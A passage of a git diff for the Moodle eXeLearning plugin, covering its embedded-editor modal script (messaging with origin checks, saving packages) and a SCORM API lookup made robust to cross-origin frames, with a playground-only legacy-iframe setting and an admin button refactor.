saved.';\n try {\n savingText = await getString('saving', 'mod_exelearning');\n waitText = await getString('savingwait', 'mod_exelearning');\n } catch {\n // Use defaults.\n }\n\n modal.innerHTML = `\n
\n
\n

${savingText}

\n

${waitText}

\n
\n `;\n\n document.body.appendChild(modal);\n return modal;\n};\n\n/**\n * Show the saving loading modal, creating it if necessary.\n *\n * @returns {Promise}\n */\nconst showLoadingModal = async() => {\n if (!loadingModal) {\n loadingModal = await createLoadingModal();\n }\n loadingModal.classList.add('is-visible');\n};\n\n/**\n * Hide the saving loading modal if it exists.\n *\n * @returns {void}\n */\nconst hideLoadingModal = () => {\n if (loadingModal) {\n loadingModal.classList.remove('is-visible');\n }\n};\n\n/**\n * Remove the saving loading modal from the DOM.\n *\n * @returns {void}\n */\nconst removeLoadingModal = () => {\n if (loadingModal) {\n loadingModal.remove();\n loadingModal = null;\n }\n};\n\n/**\n * Ask the user to confirm closing when there are unsaved changes.\n *\n * @returns {Promise} True if the close should be cancelled.\n */\nconst checkUnsavedChanges = async() => {\n if (!hasUnsavedChanges) {\n return false;\n }\n let message = 'You have unsaved changes. Are you sure you want to close?';\n try {\n message = await getString('unsavedchanges', 'mod_exelearning');\n } catch {\n // Use default.\n }\n return !window.confirm(message);\n};\n\n/**\n * Post a message to the embedded editor iframe.\n *\n * @param {object} message The message payload to send.\n * @param {Transferable[]} [transfer] Optional transferable objects.\n * @returns {void}\n */\nconst postToEditor = (message, transfer) => {\n if (!iframe?.contentWindow) {\n return;\n }\n if (transfer && transfer.length) {\n iframe.contentWindow.postMessage(message, editorOrigin, transfer);\n } else {\n iframe.contentWindow.postMessage(message, editorOrigin);\n }\n};\n\n/**\n * Clear the pending OPEN_FILE response timeout.\n *\n * @returns {void}\n */\nconst clearOpenResponseTimer = () => {\n if (openResponseTimer) {\n clearTimeout(openResponseTimer);\n openResponseTimer = null;\n }\n};\n\n/**\n * Schedule a retry of the initial package open, with backoff.\n *\n * @returns {void}\n */\nconst scheduleOpenRetry = () => {\n if (openAttemptCount >= MAX_OPEN_ATTEMPTS) {\n return;\n }\n\n setTimeout(() => {\n openInitialPackage();\n }, 300 * openAttemptCount);\n};\n\n/**\n * Arm a timeout that retries the open request if no response arrives.\n *\n * @returns {void}\n */\nconst armOpenResponseTimer = () => {\n clearOpenResponseTimer();\n openResponseTimer = setTimeout(() => {\n if (!openRequestSent) {\n return;\n }\n\n Log.error('[editor_modal] OPEN_FILE timeout waiting for response');\n openRequestSent = false;\n scheduleOpenRetry();\n }, OPEN_RESPONSE_TIMEOUT_MS);\n};\n\n/**\n * Toggle the saving state, updating the button and loading modal.\n *\n * @param {boolean} saving Whether a save is in progress.\n * @returns {Promise}\n */\nconst setSavingState = async(saving) => {\n isSaving = saving;\n if (!saveBtn) {\n return;\n }\n saveBtn.disabled = saving;\n if (saving) {\n await setSaveLabel('saving', 'Saving...');\n await showLoadingModal();\n } else {\n await setSaveLabel('savetomoodle', 'Save to Moodle');\n hideLoadingModal();\n }\n};\n\n/**\n * Fetch the current package and send it to the editor to open.\n *\n * @returns {Promise}\n */\nconst openInitialPackage = async() => {\n if (session?.skipOpenFileOnInit) {\n return;\n }\n if (openRequestSent || !session?.packageUrl) {\n return;\n }\n\n openRequestSent = true;\n openAttemptCount += 1;\n\n try {\n const response = await fetch(session.packageUrl, {credentials: 'include'});\n if (!response.ok) {\n throw new Error(`HTTP ${response.status}: ${response.statusText}`);\n }\n\n const bytes = await response.arrayBuffer();\n openRequestId = nextRequestId('open');\n\n postToEditor({\n type: 'OPEN_FILE',\n requestId: openRequestId,\n data: {\n bytes,\n filename: 'package.elpx',\n },\n });\n\n armOpenResponseTimer();\n } catch (error) {\n Log.error('[editor_modal] Failed to open package:', error);\n openRequestSent = false;\n scheduleOpenRetry();\n }\n};\n\n/**\n * Upload an exported package to Moodle and refresh the activity view.\n *\n * @param {object} payload The export payload from the editor.\n * @returns {Promise}\n */\nconst uploadExportedFile = async(payload) => {\n const bytes = payload?.bytes;\n if (!bytes) {\n throw new Error('Missing export bytes');\n }\n\n const filename = payload.filename || 'package.elpx';\n const mimeType = payload.mimeType || 'application/zip';\n\n const blob = new Blob([bytes], {type: mimeType});\n const formData = new FormData();\n formData.append('package', blob, filename);\n formData.append('format', FIXED_EXPORT_FORMAT);\n formData.append('cmid', String(session.cmid));\n formData.append('sesskey', session.sesskey);\n\n const response = await fetch(session.saveUrl, {\n method: 'POST',\n body: formData,\n credentials: 'include',\n });\n\n const result = await response.json();\n if (!response.ok || !result?.success) {\n throw new Error(result?.error || `Save failed (${response.status})`);\n }\n\n const updatedPackageUrl = updatePackageUrlRevision(session.packageUrl, result.revision);\n persistUpdatedPackageUrl(updatedPackageUrl);\n refreshActivityIframe(result.revision);\n\n hasUnsavedChanges = false;\n await setSaveLabel('savedsuccess', 'Saved successfully');\n close(true);\n\n // Reload the activity page so the server-rendered blocks (detected gradable\n // iDevices banner, participation summary, gradebook-driven UI) reflect the\n // re-synced gradebook after save.php re-scanned the package. Refreshing only\n // the content iframe would leave those stale (e.g. a removed trueorfalse\n // would still show in \"Gradable iDevices detected\").\n window.location.reload();\n};\n\n/**\n * Request the editor to export the current document for saving.\n *\n * @returns {Promise}\n */\nconst requestExport = async() => {\n if (isSaving || !iframe?.contentWindow) {\n return;\n }\n\n await setSavingState(true);\n exportRequestId = nextRequestId('export');\n\n postToEditor({\n type: 'REQUEST_EXPORT',\n requestId: exportRequestId,\n data: {\n format: FIXED_EXPORT_FORMAT,\n filename: 'package.elpx',\n },\n });\n};\n\n/**\n * Check that a postMessage event really comes from the embedded editor frame.\n *\n * The legacy eXeWeb bridge is kept for older static editor builds, but it must\n * enforce the same source/origin boundary as the modern bridge (RIE-010).\n *\n * @param {MessageEvent} event The incoming message event.\n * @returns {boolean} Whether the event belongs to the active editor iframe.\n */\nconst isEditorBridgeMessage = (event) => {\n if (!iframe?.contentWindow || event.source !== iframe.contentWindow || !event.data) {\n return false;\n }\n if (editorOrigin !== '*' && event.origin !== editorOrigin) {\n return false;\n }\n return true;\n};\n\n/**\n * Handle protocol messages received from the embedded editor bridge.\n *\n * @param {MessageEvent} event The incoming message event.\n * @returns {Promise}\n */\nconst handleBridgeMessage = async(event) => {\n if (!isEditorBridgeMessage(event)) {\n return;\n }\n\n const data = event.data;\n\n switch (data.type) {\n case 'EXELEARNING_READY':\n postToEditor({\n type: 'CONFIGURE',\n requestId: nextRequestId('configure'),\n data: {\n hideUI: {\n fileMenu: true,\n saveButton: true,\n userMenu: true,\n },\n },\n });\n openInitialPackage();\n break;\n\n case 'DOCUMENT_LOADED':\n if (saveBtn && !isSaving) {\n saveBtn.disabled = false;\n }\n break;\n\n case 'DOCUMENT_CHANGED':\n hasUnsavedChanges = true;\n break;\n\n case 'OPEN_FILE_SUCCESS':\n if (data.requestId === openRequestId && saveBtn && !isSaving) {\n saveBtn.disabled = false;\n openRequestSent = false;\n openAttemptCount = 0;\n clearOpenResponseTimer();\n }\n break;\n\n case 'OPEN_FILE_ERROR':\n if (data.requestId === openRequestId) {\n Log.error('[editor_modal] OPEN_FILE_ERROR:', data.error);\n openRequestSent = false;\n clearOpenResponseTimer();\n scheduleOpenRetry();\n }\n break;\n\n case 'EXPORT_FILE':\n if (data.requestId === exportRequestId) {\n try {\n await uploadExportedFile(data);\n } catch (error) {\n Log.error('[editor_modal] Upload failed:', error);\n await setSavingState(false);\n }\n }\n break;\n\n case 'REQUEST_EXPORT_ERROR':\n if (data.requestId === exportRequestId) {\n Log.error('[editor_modal] REQUEST_EXPORT_ERROR:', data.error);\n await setSavingState(false);\n }\n break;\n\n default:\n break;\n }\n};\n\n/**\n * Handle legacy bridge messages from older editor builds.\n *\n * @param {MessageEvent} event The incoming message event.\n * @returns {Promise}\n */\nconst handleLegacyBridgeMessage = async(event) => {\n if (!isEditorBridgeMessage(event)) {\n return;\n }\n\n const data = event.data;\n if (!data || data.source !== 'exeweb-editor') {\n return;\n }\n\n if (data.type === 'editor-ready' && data.data?.packageUrl) {\n const incomingUrl = data.data.packageUrl;\n if (incomingUrl !== session?.packageUrl) {\n session.packageUrl = incomingUrl;\n openRequestSent = false;\n openAttemptCount = 0;\n }\n openInitialPackage();\n }\n\n if (data.type === 'request-save') {\n await requestExport();\n }\n};\n\n/**\n * Dispatch an incoming window message to both bridge handlers.\n *\n * @param {MessageEvent} event The incoming message event.\n * @returns {Promise}\n */\nconst handleMessage = async(event) => {\n await handleBridgeMessage(event);\n await handleLegacyBridgeMessage(event);\n};\n\n/**\n * Close the editor overlay when the Escape key is pressed.\n *\n * @param {KeyboardEvent} event The keydown event.\n * @returns {void}\n */\nconst handleKeydown = (event) => {\n if (event.key === 'Escape') {\n close(false);\n }\n};\n\n/**\n * Close the editor overlay and tear down its state and listeners.\n *\n * @param {boolean} skipConfirm Skip the unsaved-changes confirmation when true.\n * @returns {Promise}\n */\nexport const close = async(skipConfirm) => {\n if (!overlay) {\n return;\n }\n if (!skipConfirm) {\n const shouldCancel = await checkUnsavedChanges();\n if (shouldCancel) {\n return;\n }\n }\n\n const wasShowingLoader = isSaving || (skipConfirm === true);\n\n overlay.remove();\n overlay = null;\n iframe = null;\n saveBtn = null;\n session = null;\n openRequestSent = false;\n openRequestId = null;\n exportRequestId = null;\n isSaving = false;\n hasUnsavedChanges = false;\n openAttemptCount = 0;\n clearOpenResponseTimer();\n\n document.body.style.overflow = '';\n window.removeEventListener('message', handleMessage);\n document.removeEventListener('keydown', handleKeydown);\n\n if (wasShowingLoader) {\n setTimeout(() => {\n hideLoadingModal();\n removeLoadingModal();\n }, 1500);\n } else {\n hideLoadingModal();\n removeLoadingModal();\n }\n};\n\n/**\n * Open the embedded editor overlay for the given activity.\n *\n * @param {number|string} cmid The course module id.\n * @param {string} editorUrl The URL of the embedded editor.\n * @param {string} activityName The activity name shown in the header.\n * @param {string} packageUrl The URL of the current package file.\n * @param {string} saveUrl The endpoint used to save exported packages.\n * @param {string} sesskey The Moodle session key.\n * @returns {Promise}\n */\nexport const open = async(cmid, editorUrl, activityName, packageUrl, saveUrl, sesskey) => {\n Log.debug('[editor_modal] Opening editor for cmid:', cmid);\n\n if (overlay) {\n return;\n }\n\n // Close any promoted media player floating on the trusted page. The\n // external-media relay opens YouTube/Vimeo in a top-layer ; it must\n // not stay above the editor overlay we are about to open.\n if (window.exeMediaHost && typeof window.exeMediaHost.closeAll === 'function') {\n window.exeMediaHost.closeAll();\n }\n\n editorOrigin = getOrigin(editorUrl);\n openAttemptCount = 0;\n session = {\n cmid,\n editorUrl,\n packageUrl: packageUrl || '',\n skipOpenFileOnInit: !!packageUrl,\n saveUrl,\n sesskey,\n };\n\n overlay = document.createElement('div');\n overlay.id = 'exeweb-editor-overlay';\n overlay.className = 'exeweb-editor-overlay';\n\n const header = document.createElement('div');\n header.className = 'exeweb-editor-header';\n\n const title = document.createElement('span');\n title.className = 'exeweb-editor-title';\n title.textContent = activityName || '';\n header.appendChild(title);\n\n const buttonGroup = document.createElement('div');\n buttonGroup.className = 'exeweb-editor-buttons';\n\n saveBtn = document.createElement('button');\n saveBtn.className = 'btn btn-primary mr-2';\n saveBtn.id = 'exeweb-editor-save';\n saveBtn.disabled = true;\n await setSaveLabel('savetomoodle', 'Save to Moodle');\n saveBtn.addEventListener('click', requestExport);\n\n const closeBtn = document.createElement('button');\n closeBtn.className = 'btn btn-secondary';\n closeBtn.id = 'exeweb-editor-close';\n try {\n closeBtn.textContent = await getString('closebuttontitle', 'core');\n } catch {\n closeBtn.textContent = 'Close';\n }\n closeBtn.addEventListener('click', () => close(false));\n\n buttonGroup.appendChild(saveBtn);\n buttonGroup.appendChild(closeBtn);\n header.appendChild(buttonGroup);\n overlay.appendChild(header);\n\n iframe = document.createElement('iframe');\n iframe.className = 'exeweb-editor-iframe';\n iframe.src = editorUrl;\n iframe.setAttribute('allow', 'fullscreen');\n iframe.setAttribute('frameborder', '0');\n iframe.addEventListener('load', () => {\n if (!openRequestSent && session?.packageUrl) {\n openInitialPackage();\n }\n });\n overlay.appendChild(iframe);\n\n document.body.appendChild(overlay);\n document.body.style.overflow = 'hidden';\n\n window.addEventListener('message', handleMessage);\n document.addEventListener('keydown', handleKeydown);\n};\n\n/**\n * Initialise the delegated click handler that opens the editor.\n *\n * @returns {void}\n */\nexport const init = () => {\n document.addEventListener('click', (event) => {\n const button = event.target.closest('[data-action=\"mod_exelearning/editor-open\"]');\n if (!button) {\n return;\n }\n\n event.preventDefault();\n open(\n button.dataset.cmid,\n button.dataset.editorurl,\n button.dataset.activityname,\n button.dataset.packageurl,\n button.dataset.saveurl,\n button.dataset.sesskey\n );\n });\n};\n"],"names":["overlay","iframe","saveBtn","loadingModal","editorOrigin","openRequestSent","openRequestId","exportRequestId","isSaving","hasUnsavedChanges","session","requestCounter","openAttemptCount","openResponseTimer","nextRequestId","prefix","Date","now","refreshActivityIframe","revision","activityIframe","document","getElementById","src","refreshedSrc","url","normalizedRevision","String","replace","updated","separator","includes","updateContentUrlRevision","setSaveLabel","async","key","fallback","text","innerHTML","showLoadingModal","modal","createElement","className","id","savingText","waitText","body","appendChild","createLoadingModal","classList","add","hideLoadingModal","remove","removeLoadingModal","postToEditor","message","transfer","_iframe","contentWindow","length","postMessage","clearOpenResponseTimer","clearTimeout","scheduleOpenRetry","setTimeout","openInitialPackage","setSavingState","saving","disabled","_session","skipOpenFileOnInit","_session2","packageUrl","response","fetch","credentials","ok","Error","status","statusText","bytes","arrayBuffer","type","requestId","data","filename","error","uploadExportedFile","payload","mimeType","blob","Blob","formData","FormData","append","cmid","sesskey","saveUrl","method","result","json","success","newUrl","selector","openButton","querySelector","dataset","packageurl","persistUpdatedPackageUrl","updatePackageUrlRevision","close","window","location","reload","requestExport","_iframe2","format","isEditorBridgeMessage","event","_iframe3","source","origin","handleMessage","hideUI","fileMenu","saveButton","userMenu","handleBridgeMessage","_data$data","incomingUrl","_session3","handleLegacyBridgeMessage","handleKeydown","skipConfirm","confirm","checkUnsavedChanges","wasShowingLoader","style","overflow","removeEventListener","open","editorUrl","activityName","debug","exeMediaHost","closeAll","URL","href","getOrigin","header","title","textContent","buttonGroup","addEventListener","closeBtn","setAttribute","_session4","button","target","closest","preventDefault","editorurl","activityname","saveurl"],"mappings":"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"} \ No newline at end of file diff --git a/amd/src/editor_modal.js b/amd/src/editor_modal.js index 2914324..c084069 100644 --- a/amd/src/editor_modal.js +++ b/amd/src/editor_modal.js @@ -647,6 +647,13 @@ export const open = async(cmid, editorUrl, activityName, packageUrl, saveUrl, se return; } + // Close any promoted media player floating on the trusted page. The + // external-media relay opens YouTube/Vimeo in a top-layer ; it must + // not stay above the editor overlay we are about to open. + if (window.exeMediaHost && typeof window.exeMediaHost.closeAll === 'function') { + window.exeMediaHost.closeAll(); + } + editorOrigin = getOrigin(editorUrl); openAttemptCount = 0; session = { diff --git a/assets/scorm/SCORM_API_wrapper.js b/assets/scorm/SCORM_API_wrapper.js index 6ea6c37..29459fa 100644 --- a/assets/scorm/SCORM_API_wrapper.js +++ b/assets/scorm/SCORM_API_wrapper.js @@ -133,12 +133,35 @@ pipwerks.SCORM.API.get = function () { find = pipwerks.SCORM.API.find, trace = pipwerks.UTILS.trace; - if (win.parent && win.parent != win) { - API = find(win.parent); + // Check the CURRENT window's frame hierarchy first (standard pipwerks order). In + // the secure (opaque-origin) package mode the SCORM API is provided locally by the + // in-iframe bridge shim (js/scorm_bridge_shim.js, DEC-80-01) as window.API, and the + // Moodle parent is a cross-origin/opaque frame that throws SecurityError on access. + // Starting at win.parent (as the prior build did) made init() throw there and the + // connection never went active, so no score was ever saved in secure mode. find(win) + // returns the local API when present and otherwise walks up same-origin ancestors, + // which keeps the legacy same-origin mode (API hosted by the Moodle parent) working. + // Every cross-origin hop is wrapped so an opaque ancestor can never abort lookup. + try { + API = find(win); + } catch (e) { + trace("API.get: find(window) threw: " + e); + } + + if (!API && win.parent && win.parent != win) { + try { + API = find(win.parent); + } catch (e) { + trace("API.get: find(parent) blocked (cross-origin): " + e); + } } - if (!API && win.top.opener) { - API = find(win.top.opener); + try { + if (!API && win.top && win.top.opener) { + API = find(win.top.opener); + } + } catch (e) { + trace("API.get: find(opener) blocked: " + e); } if (API) { diff --git a/blueprint.json b/blueprint.json index 21fe9ec..4f9bd90 100644 --- a/blueprint.json +++ b/blueprint.json @@ -1,6 +1,9 @@ { "$schema": "https://raw.githubusercontent.com/ateeducacion/moodle-playground/refs/heads/main/assets/blueprints/blueprint-schema.json", "preferredVersions": { "php": "8.3", "moodle": "5.0" }, + "phpConstants": { + "EXELEARNING_UNSAFE_LEGACY_IFRAME": true + }, "landingPage": "/course/view.php?id=2", "constants": { "REPO": "exelearning/moodle-mod_exelearning", @@ -39,6 +42,7 @@ }, { "step": "setConfigs", + "comment": "Playground-only display/debug config. The opaque-iframe escape hatch is enabled separately via the top-level phpConstants (EXELEARNING_UNSAFE_LEGACY_IFRAME): the Playground's php-wasm service worker only serves same-origin documents, so secure mode would only show the 'blocked by security configuration' notice. Real Moodle keeps the secure default and never defines that constant.", "configs": [ { "name": "editormode", "value": "embedded", "plugin": "exelearning" }, { "name": "display", "value": "1", "plugin": "exelearning" }, diff --git a/classes/admin/admin_setting_stylesbuiltins.php b/classes/admin/admin_setting_stylesbuiltins.php index 70584f7..ecb5f70 100644 --- a/classes/admin/admin_setting_stylesbuiltins.php +++ b/classes/admin/admin_setting_stylesbuiltins.php @@ -111,9 +111,10 @@ public function output_html($data, $query = '') { : get_string('stylesenable', 'mod_exelearning'); $toggleaction = $isenabled ? 'disablebuiltin' : 'enablebuiltin'; - $togglelink = $this->action_link( + $togglelink = styles_action_button::link( $baseurl, $toggleaction, + 'id', $id, $togglelabel, $isenabled ? 'btn-secondary' : 'btn-success' @@ -145,33 +146,4 @@ public function output_html($data, $query = '') { $query ); } - - /** - * Build a single toggle action as a sesskey-protected link styled as a button. - * - * Rendered as a link rather than an inline
